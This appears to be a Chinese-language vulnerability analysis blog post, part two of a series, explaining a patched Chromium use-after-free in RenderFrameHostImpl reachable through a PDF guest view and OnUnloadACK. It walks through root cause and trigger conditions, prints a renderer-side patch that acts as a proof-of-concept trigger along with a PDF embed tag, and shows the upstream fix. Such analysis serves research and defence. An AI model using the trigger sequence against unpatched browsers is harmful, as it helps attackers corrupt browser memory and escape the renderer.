RenderFrameHost系列(二)

作者: 360漏洞研究院 姜伟鹏 分类: 安全研究,漏洞分析 发布时间: 2022-10-11 02:09

在《RenderFrameHost系列(一)》中,我们介绍了与RenderFrameHost相关的基本内容以及一个漏洞变体。在该漏洞变体中,攻击者通过创建一个状态为RenderFrameState::kNeverCreated的RenderFrameHostImpl对象,来绕过该对象析构时通知RenderFrameDeleted的条件,从而在该对象析构之后得到一个dangling pointer来进一步触发漏洞。本文将会介绍在该漏洞被修复之后,另一种绕过RenderFrameDeleted函数通知的方法。

漏洞介绍

新的漏洞变体是Project Zero的研究员glazunov发现的,漏洞报告可以参考如下链接:

https://bugs.chromium.org/p/project-zero/issues/detail?id=2233

该漏洞变体同样利用到了RenderFrameHostImpl析构时满足一定条件才通知RenderFrameDeleted的特性,与之前变体的不同之处在于,新的漏洞变体在创建完一个正常的RenderFramtHostImpl对象之后,能够在不析构该对象的情况下,把该对象的状态设置为RenderFrameState::kDeleted。这同样可以绕过析构函数中if (was_created) 的检查,从而实现析构RenderFrameHostImpl对象时不会调用RenderFrameDeleted来通知观察者。

漏洞原理

  1. 根本原因

根据系列(一)中的内容,一个正常的frame会在析构时,将自己的状态设置为RenderFrameState::kDelete[1],并且根据frame之前是否为RenderFrameState::kCreated状态来调用RenderFrameDeleted函数,通知观察者这个frame被删除了。

RenderFrameHostImpl::~RenderFrameHostImpl() {
[...]
  const bool was_created = is_render_frame_created();
  render_frame_state_ = RenderFrameState::kDeleted;  //[1]
  if (was_created)
    delegate_->RenderFrameDeleted(this);
[...]

但是除了析构函数,RenderFrameHostImpl::OnUnloadACK也可以将当前frame设置为RenderFrameState::kDeleted状态,并且通知RenderFrameDeleted。而一旦将frame设置为RenderFrameState::kDeleted状态,那么该frame对应的RenderFrameHostImpl在析构时就不会调用RenderFrameDeleted,也就是(一)中介绍的漏洞变体的情况。

这里和(一)有一点不同在于,这里会先调用一次RenderFrameDeleted,也就是会通知所有的观察者,当前frame已经被删除了。但是,这个过程仅仅是将观察者中的frame设置为空,并不会断开Mojo连接,也就是说我们可以在此之后重新建立Mojo连接。具体代码会在第3小节中解释。

  1. 条件

根据代码得知,只有在满足frame_tree_node_->render_manager()->is_attaching_inner_delegate()[2]这个条件时,才能调用到RenderFrameDeleted函数,进而把frame设置为RenderFrameState::kDeleted状态[3]。

void RenderFrameHostImpl::RenderFrameDeleted() {
[...]
  bool was_created = is_render_frame_created();
  render_frame_state_ = RenderFrameState::kDeleting;

  // If the current status is different than the new status, the delegate
  // needs to be notified.
  if (was_created) {
    delegate_->RenderFrameDeleted(this);
  }

  if (web_ui_) {
    web_ui_->RenderFrameDeleted();
    web_ui_->InvalidateMojoConnection();
  }
  render_frame_state_ = RenderFrameState::kDeleted;   // [3]
}

void RenderFrameHostImpl::OnUnloadACK() {
[...]
  if (frame_tree_node_->render_manager()->is_attaching_inner_delegate()) { // [2]
    // This RFH was unloaded while attaching an inner delegate. The RFH
    // will stay around but it will no longer be associated with a RenderFrame.
    RenderFrameDeleted();
    return;
  }

  // Ignore spurious unload ack.
  if (!is_waiting_for_unload_ack_)
    return;
[...]
}

要满足is_attaching_inner_delegate函数的话,需要让attach_to_inner_delegate_state_ 不为NONE[4],这里我们需要通过set_attach_complete函数来给attach_to_inner_delegate_state_ 设置一个值[5],以满足条件。

bool is_attaching_inner_delegate() const {
    return attach_to_inner_delegate_state_ != AttachToInnerDelegateState::NONE; // [4]
  }

void set_attach_complete() {
    attach_to_inner_delegate_state_ = AttachToInnerDelegateState::ATTACHED; // [5]
  }

set_attach_complete函数只有在WebContentsImpl::AttachInnerWebContents函数中被调用到,而 WebContentsImpl::AttachInnerWebContents 函数只会被两种frame调用到:portals和guest views。

关于innerWebContents的概念与相关漏洞,我们会在该系列的后续文章中做进一步的分析,目前仅需要知道有两种frame可以满足上述判断条件即可。

该漏洞以guest views为例,要在HTML中添加一个guest view的话,仅需要使用embed标签,嵌入一个PDF文档即可。

  1. 触发

至此,我们就可以得到一个状态为RenderFrameState::kDeleted,但是并没有被析构的畸形RenderFrameHostImpl对象。如第1小节中所讲,RenderFrameHostImpl::OnUnloadACK会提前调用RenderFrameDeleted来通知观察者,这里以ConversionHost为例说明该过程的影响:

ConversionHost中并没有直接保存RenderFrameHost,而通过一个RenderFrameHostReceiverSet类来管理多个receivers。RenderFrameHostReceiverSet中重载的RenderFrameDeleted函数如下,它会根据当前被删除的RenderFrameHost,从他的map中寻找并移除对应的RenderFrameHost。

然而,在整个移除过程中并没有断开Mojo连接,因此被移除的RenderFrameHost可以通过Bind函数再次进行绑定,添加到map中,所以我们仍然能通过Mojo调用的方式,给Browser端的ConversionHost的receiver发送消息,从而触发漏洞。

void RenderFrameDeleted(RenderFrameHost* render_frame_host) override {
    auto it = frame_to_receivers_map_.find(render_frame_host);
    if (it == frame_to_receivers_map_.end())
      return;
    for (auto id : it->second)
      receivers_.Remove(id);
    frame_to_receivers_map_.erase(it);
  }

void Bind(RenderFrameHost* render_frame_host,
            mojo::PendingAssociatedReceiver<Interface> pending_receiver) {
    mojo::ReceiverId id =
        receivers_.Add(impl_, std::move(pending_receiver), render_frame_host);
    frame_to_receivers_map_[render_frame_host].push_back(id);
  }

漏洞触发方式

漏洞的整个触发流程如下:

  1. 通过嵌入PDF文档的方式来创建一个guest view frame
  2. 当Renderer收到Frame::Unload的Mojo调用时,说明该frame的is_attaching_inner_delegate已经被设置为True状态
  3. 从Renderer端调用DidUnloadRenderFrame来把该frame的状态设置为RenderFrameState::kDeleted
  4. 从Renderer端向Browser端请求一个新的Mojo接口,要求这个接口中要存有RenderFrameHost的指针(这里以ConversionHost类为例)
  5. 删除该frame。此时RenderFrameHostImpl会被析构,但是由于frame的状态不是RenderFrameState::kCreate状态,所以RenderFrameDeleted不会被调用
  6. 从Renderer端给新请求的Mojo接口发消息,触发对已经释放了的RenderFrameHostImpl指针的使用,导致漏洞发生。

具体来说,该漏洞需要patch Renderer端的代码,在Renderer端的RenderFrameImpl::Unload函数中,添加上述触发流程中所需的代码。

[1]是调用DidUnloadRenderFrame函数来设置frame的状态为RenderFrameState::kDeleted

[2]是请求一个新的Mojo接口blink::mojom::ConversionHost

[3]是删除当前frame

[4]是通过新请求的Mojo接口发送消息,触发漏洞

diff --git a/content/renderer/render_frame_impl.cc b/content/renderer/render_frame_impl.cc
index c70c1a418fdc7..ec39f6576fe91 100644
--- a/content/renderer/render_frame_impl.cc
+++ b/content/renderer/render_frame_impl.cc
@@ -11,6 +11,9 @@
 #include <utility>
 #include <vector>

+#include "third_party/blink/public/mojom/conversions/conversions.mojom-blink.h"
+#include "third_party/blink/renderer/core/frame/web_local_frame_impl.h"
+
 #include "base/auto_reset.h"
 #include "base/bind.h"
 #include "base/callback_helpers.h"
@@ -2126,6 +2129,32 @@ void RenderFrameImpl::Unload(
                routing_id_);
   DCHECK(!base::RunLoop::IsNestedOnCurrentThread());

+  if (!is_loading) {
+    sleep(2);
+
+    fprintf(stderr, "Triggering the bug...\n");
+
+    agent_scheduling_group_.DidUnloadRenderFrame(frame_->GetLocalFrameToken()); // [1]
+
+    sleep(2);
+
+    mojo::AssociatedRemote<blink::mojom::ConversionHost> service;
+    GetRemoteAssociatedInterfaces()->GetInterface(  // [2]
+        service.BindNewEndpointAndPassReceiver());
+
+    sleep(2);
+
+    static_cast<blink::WebLocalFrameImpl*>(frame_)
+        ->GetFrame()->GetLocalFrameHostRemote().Detach();  // [3]
+
+    sleep(2);
+
+    blink::mojom::ConversionPtr conversion = blink::mojom::Conversion::New();
+    service->RegisterConversion(std::move(conversion));   // [4]
+
+    sleep(100);
+  }
+
   // Send an UpdateState message before we get deleted.
   // TODO(dcheng): Improve this comment to clarify why it's important to sent
   // state updates.

而对于嵌入PDF的部分,只需要在页面中加一个embed的标签即可:

<embed src="data:application/pdf,a"></embed>

漏洞补丁

该漏洞在通过Mojo调用的方式触发时,关键点在于设置frame为RenderFrameState::kDeleted状态后,相关的Mojo接口仍然存在,可以重新建立连接。所以补丁的关键部分如下:在RenderFrameHostImpl::RenderFrameDeleted函数中把所有的Mojo连接全部断开,防止在已经设为RenderFrameState::kDeleted状态的RenderFrameHostImpl上重新建立Mojo连接来发送消息。

对于之前RenderFrameHostImpl::InvalidateMojoConnection函数中没有处理到的Mojo接口,也都增加到了该函数中进行了断开处理。

void RenderFrameHostImpl::RenderFrameDeleted() {
[...]
@@ -3135,6 +3133,7 @@
   if (was_created) {
     delegate_->RenderFrameDeleted(this);
   }
+  InvalidateMojoConnection();

   if (web_ui_) {
     web_ui_->RenderFrameDeleted();
         web_ui_->InvalidateMojoConnection();
   }
   render_frame_state_ = RenderFrameState::kDeleted;
}
@@ -8348,30 +8348,38 @@
 }

 void RenderFrameHostImpl::InvalidateMojoConnection() {
-  frame_.reset();
-  frame_bindings_control_.reset();
-  frame_host_associated_receiver_.reset();
-  back_forward_cache_controller_host_associated_receiver_.reset();
-  local_frame_.reset();
-  local_main_frame_.reset();
-  high_priority_local_frame_.reset();
-  find_in_page_.reset();
-  render_accessibility_.reset();
-
-  // Disconnect with ImageDownloader Mojo service in Blink.
-  mojo_image_downloader_.reset();
-
-  // The geolocation service and sensor provider proxy may attempt to cancel
-  // permission requests so they must be reset before the routing_id mapping is
-  // removed.
+  // While not directly Mojo endpoints, both `geolocation_service_` and
+  // `sensor_provider_proxy_` may attempt to cancel permission requests.
   geolocation_service_.reset();
   sensor_provider_proxy_.reset();

-  render_accessibility_host_.Reset();
+  associated_registry_.reset();

+  mojo_image_downloader_.reset();
+  find_in_page_.reset();
+  local_frame_.reset();
+  local_main_frame_.reset();
+  high_priority_local_frame_.reset();
+
+  frame_host_associated_receiver_.reset();
+  back_forward_cache_controller_host_associated_receiver_.reset();
+  frame_.reset();
+  frame_bindings_control_.reset();
   local_frame_host_receiver_.reset();
   local_main_frame_host_receiver_.reset();
-  associated_registry_.reset();
+
+  broker_receiver_.reset();
+
+  render_accessibility_.reset();
+  render_accessibility_host_.Reset();
+
+  dom_automation_controller_receiver_.reset();
+
+#if BUILDFLAG(ENABLE_PLUGINS)
+  pepper_host_receiver_.reset();
+  pepper_instance_map_.clear();
+  pepper_hung_detectors_.Clear();
+#endif  // BUILDFLAG(ENABLE_PLUGINS)
 }

此外,漏洞报告中还指出,除了Mojo调用触发的方式,一些公共的WebAPI也有可能使用到这些已经设置为RenderFrameState::kDeleted状态的frame,因此修复补丁还对其他不同的WebAPI中可能使用该类frame的点进行了修复,在此不再赘述。

后续

后续系列将分享更多关于RenderFrameHost以及WebContents的漏洞分析。